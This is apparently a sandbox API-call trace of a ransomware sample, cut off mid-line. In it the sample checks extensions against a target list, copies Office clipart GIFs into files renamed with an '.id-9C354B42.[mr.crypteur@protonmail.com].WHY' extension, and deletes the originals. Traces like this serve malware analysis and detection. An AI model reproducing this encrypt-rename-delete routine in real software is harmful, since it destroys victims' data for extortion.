[0234.684] lstrlenW (lpString=".pdf") returned 4 [0234.684] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.684] lstrlenW (lpString=".xls") returned 4 [0234.684] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.684] lstrlenW (lpString=".xlsx") returned 5 [0234.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.684] lstrlenW (lpString=".ppt") returned 4 [0234.685] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.685] lstrlenW (lpString=".zip") returned 4 [0234.685] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.685] lstrlenW (lpString=".rar") returned 4 [0234.685] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.685] lstrlenW (lpString=".bz2") returned 4 [0234.685] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.685] lstrlenW (lpString=".7z") returned 3 [0234.685] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.685] lstrlenW (lpString=".dbf") returned 4 [0234.685] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.686] lstrlenW (lpString=".1cd") returned 4 [0234.686] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.686] lstrlenW (lpString=".jpg") returned 4 [0234.686] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.686] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0234.686] lstrlenW (lpString="AG00142_.GIF") returned 12 [0234.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0234.705] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=15308) returned 1 [0234.706] CloseHandle (hObject=0x388) returned 1 [0234.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0234.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0234.728] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.728] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0234.729] GetLastError () returned 0x0 [0234.729] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0234.904] WriteFile (in: hFile=0x38c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0234.907] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.907] WriteFile (in: hFile=0x38c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.908] SetEndOfFile (hFile=0x38c) returned 1 [0234.933] CloseHandle (hObject=0x38c) returned 1 [0234.934] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.934] SetEndOfFile (hFile=0x394) returned 1 [0234.941] CloseHandle (hObject=0x394) returned 1 [0234.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0236.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.468] lstrlenW (lpString=".doc") returned 4 [0236.468] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0236.468] lstrlenW (lpString=".docx") returned 5 [0236.468] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0236.468] lstrlenW (lpString=".pdf") returned 4 [0236.468] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0236.468] lstrlenW (lpString=".xls") returned 4 [0236.468] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0236.468] lstrlenW (lpString=".xlsx") returned 5 [0236.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0236.469] lstrlenW (lpString=".ppt") returned 4 [0236.469] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0236.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.469] lstrlenW (lpString=".zip") returned 4 [0236.469] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0236.469] lstrlenW (lpString=".rar") returned 4 [0236.469] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0236.469] lstrlenW (lpString=".bz2") returned 4 [0236.469] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0236.469] lstrlenW (lpString=".7z") returned 3 [0236.469] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0236.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.469] lstrlenW (lpString=".dbf") returned 4 [0236.469] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0236.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.470] lstrlenW (lpString=".1cd") returned 4 [0236.470] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0236.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.470] lstrlenW (lpString=".jpg") returned 4 [0236.470] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0236.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.470] lstrlenW (lpString=".doc") returned 4 [0236.470] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0236.470] lstrlenW (lpString=".docx") returned 5 [0236.470] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0236.471] lstrlenW (lpString=".pdf") returned 4 [0236.471] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0236.471] lstrlenW (lpString=".xls") returned 4 [0236.471] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0236.471] lstrlenW (lpString=".xlsx") returned 5 [0236.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0236.471] lstrlenW (lpString=".ppt") returned 4 [0236.471] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0236.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.471] lstrlenW (lpString=".zip") returned 4 [0236.471] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0236.471] lstrlenW (lpString=".rar") returned 4 [0236.471] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0236.471] lstrlenW (lpString=".bz2") returned 4 [0236.472] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0236.472] lstrlenW (lpString=".7z") returned 3 [0236.472] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0236.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.472] lstrlenW (lpString=".dbf") returned 4 [0236.472] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0236.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.472] lstrlenW (lpString=".1cd") returned 4 [0236.472] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0236.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0236.472] lstrlenW (lpString=".jpg") returned 4 [0236.472] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0236.473] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0236.473] lstrlenW (lpString="AG00160_.GIF") returned 12 [0236.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0236.539] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=1146) returned 1 [0236.539] CloseHandle (hObject=0x3a4) returned 1 [0236.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0236.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0236.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0236.540] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.540] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0236.541] GetLastError () returned 0x0 [0236.541] ReadFile (in: hFile=0x3a4, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x47a, lpOverlapped=0x0) returned 1 [0236.544] WriteFile (in: hFile=0x3a8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x480, lpOverlapped=0x0) returned 1 [0236.547] ReadFile (in: hFile=0x3a4, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.547] WriteFile (in: hFile=0x3a8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.547] SetEndOfFile (hFile=0x3a8) returned 1 [0236.548] CloseHandle (hObject=0x3a8) returned 1 [0236.550] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.550] SetEndOfFile (hFile=0x3a4) returned 1 [0236.556] CloseHandle (hObject=0x3a4) returned 1 [0236.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0236.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0236.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.558] lstrlenW (lpString=".doc") returned 4 [0236.558] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0236.558] lstrlenW (lpString=".docx") returned 5 [0236.559] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0236.559] lstrlenW (lpString=".pdf") returned 4 [0236.559] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0236.559] lstrlenW (lpString=".xls") returned 4 [0236.559] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0236.559] lstrlenW (lpString=".xlsx") returned 5 [0236.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0236.559] lstrlenW (lpString=".ppt") returned 4 [0236.559] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0236.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.559] lstrlenW (lpString=".zip") returned 4 [0236.559] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0236.559] lstrlenW (lpString=".rar") returned 4 [0236.559] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0236.559] lstrlenW (lpString=".bz2") returned 4 [0236.559] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0236.560] lstrlenW (lpString=".7z") returned 3 [0236.560] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0236.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.560] lstrlenW (lpString=".dbf") returned 4 [0236.560] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0236.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.560] lstrlenW (lpString=".1cd") returned 4 [0236.560] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0236.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.560] lstrlenW (lpString=".jpg") returned 4 [0236.560] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0236.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.561] lstrlenW (lpString=".doc") returned 4 [0236.561] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0236.561] lstrlenW (lpString=".docx") returned 5 [0236.561] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0236.561] lstrlenW (lpString=".pdf") returned 4 [0236.561] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0236.561] lstrlenW (lpString=".xls") returned 4 [0236.561] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0236.561] lstrlenW (lpString=".xlsx") returned 5 [0236.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0236.561] lstrlenW (lpString=".ppt") returned 4 [0236.561] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0236.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.562] lstrlenW (lpString=".zip") returned 4 [0236.562] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0236.562] lstrlenW (lpString=".rar") returned 4 [0236.562] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0236.562] lstrlenW (lpString=".bz2") returned 4 [0236.562] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0236.562] lstrlenW (lpString=".7z") returned 3 [0236.562] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0236.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.562] lstrlenW (lpString=".dbf") returned 4 [0236.562] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0236.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.563] lstrlenW (lpString=".1cd") returned 4 [0236.563] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0236.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0236.563] lstrlenW (lpString=".jpg") returned 4 [0236.563] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0236.563] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0236.563] lstrlenW (lpString="AG00161_.GIF") returned 12 [0236.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0236.564] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=7583) returned 1 [0236.564] CloseHandle (hObject=0x3a4) returned 1 [0236.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0236.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0236.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0236.565] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.565] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0236.566] GetLastError () returned 0x0 [0236.566] ReadFile (in: hFile=0x3a4, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0238.522] WriteFile (in: hFile=0x3a8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0238.525] ReadFile (in: hFile=0x3a4, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0238.539] WriteFile (in: hFile=0x3a8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0238.540] SetEndOfFile (hFile=0x3a8) returned 1 [0238.540] CloseHandle (hObject=0x3a8) returned 1 [0238.543] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.543] SetEndOfFile (hFile=0x3a4) returned 1 [0240.364] CloseHandle (hObject=0x3a4) returned 1 [0240.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0240.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.711] lstrlenW (lpString=".doc") returned 4 [0240.711] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.711] lstrlenW (lpString=".docx") returned 5 [0240.711] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.711] lstrlenW (lpString=".pdf") returned 4 [0240.711] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.711] lstrlenW (lpString=".xls") returned 4 [0240.711] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.711] lstrlenW (lpString=".xlsx") returned 5 [0240.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.711] lstrlenW (lpString=".ppt") returned 4 [0240.711] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.712] lstrlenW (lpString=".zip") returned 4 [0240.712] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.712] lstrlenW (lpString=".rar") returned 4 [0240.712] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.712] lstrlenW (lpString=".bz2") returned 4 [0240.712] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.712] lstrlenW (lpString=".7z") returned 3 [0240.712] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.712] lstrlenW (lpString=".dbf") returned 4 [0240.712] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.712] lstrlenW (lpString=".1cd") returned 4 [0240.713] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.713] lstrlenW (lpString=".jpg") returned 4 [0240.713] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.713] lstrlenW (lpString=".doc") returned 4 [0240.713] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.713] lstrlenW (lpString=".docx") returned 5 [0240.713] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.713] lstrlenW (lpString=".pdf") returned 4 [0240.714] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.714] lstrlenW (lpString=".xls") returned 4 [0240.714] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.714] lstrlenW (lpString=".xlsx") returned 5 [0240.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.714] lstrlenW (lpString=".ppt") returned 4 [0240.714] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.714] lstrlenW (lpString=".zip") returned 4 [0240.714] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.714] lstrlenW (lpString=".rar") returned 